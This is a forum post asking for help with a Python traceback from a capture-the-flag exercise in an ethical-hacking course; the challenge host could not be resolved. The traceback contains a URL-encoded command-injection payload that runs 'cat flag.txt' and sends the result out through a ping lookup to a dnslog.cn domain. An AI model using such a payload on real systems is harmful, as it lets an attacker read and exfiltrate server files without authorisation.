[Python] executing script problem assignment-1 on step 3 on linux v2

Discussão em 'Python' iniciado por Stack, Janeiro 22, 2025.

  1. Stack

    Stack Membro Participativo

    so i followed steps on this site https://github.com/christiansassi/ethical-hacking and im having problems with step 3 of assignment-1, when i run script im getting this kind of errors and i dont know what to do to run in properly.

    Traceback (most recent call last):
    File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 203, in _new_conn
    sock = connection.create_connection(
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 60, in create_connection
    for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM):
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3.12/socket.py", line 976, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    socket.gaierror: [Errno -2] Name or service not known

    The above exception was the direct cause of the following exception:

    Traceback (most recent call last):
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 791, in urlopen
    response = self._make_request(
    ^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 497, in _make_request
    conn.request(
    File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 395, in request
    self.endheaders()
    File "/usr/lib/python3.12/http/client.py", line 1331, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
    File "/usr/lib/python3.12/http/client.py", line 1091, in _send_output
    self.send(msg)
    File "/usr/lib/python3.12/http/client.py", line 1035, in send
    self.connect()
    File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 243, in connect
    self.sock = self._new_conn()
    ^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 210, in _new_conn
    raise NameResolutionError(self.host, self, e) from e
    urllib3.exceptions.NameResolutionError: <urllib3.connection.HTTPConnection object at 0x7fe420e32990>: Failed to resolve 'cyberchallenge.disi.unitn.it' ([Errno -2] Name or service not known)

    The above exception was the direct cause of the following exception:

    Traceback (most recent call last):
    File "/usr/lib/python3/dist-packages/requests/adapters.py", line 667, in send
    resp = conn.urlopen(
    ^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 845, in urlopen
    retries = retries.increment(
    ^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 515, in increment
    raise MaxRetryError(_pool, url, reason) from reason # type: ignore[arg-type]
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='cyberchallenge.disi.unitn.it', port=50000): Max retries exceeded with url: /pid/%3B%20ping%20%24%28cat%20flag.txt%29.893vxb.dnslog.cn (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7fe420e32990>: Failed to resolve 'cyberchallenge.disi.unitn.it' ([Errno -2] Name or service not known)"))

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
    File "/home/stanislav/Desktop/ethical-hacking/assignment-1/hacker_system_monitor.py", line 48, in <module>
    client.get(url=f"{challenge_url}/pid/{command}")
    File "/usr/lib/python3/dist-packages/requests/sessions.py", line 602, in get
    return self.request("GET", url, **kwargs)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request
    resp = self.send(prep, **send_kwargs)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send
    r = adapter.send(request, **kwargs)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    File "/usr/lib/python3/dist-packages/requests/adapters.py", line 700, in send
    raise ConnectionError(e, request=request)
    requests.exceptions.ConnectionError: HTTPConnectionPool(host='cyberchallenge.disi.unitn.it', port=50000): Max retries exceeded with url: /pid/%3B%20ping%20%24%28cat%20flag.txt%29.893vxb.dnslog.cn (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7fe420e32990>: Failed to resolve 'cyberchallenge.disi.unitn.it' ([Errno -2] Name or service not known)"))


    so i followed steps on this site https://github.com/christiansassi/ethical-hacking and im having problems with step 3 of assignment-1, when i run script im getting this kind of errors and i dont know what to do to run in properly.

    Continue reading...

Compartilhe esta Página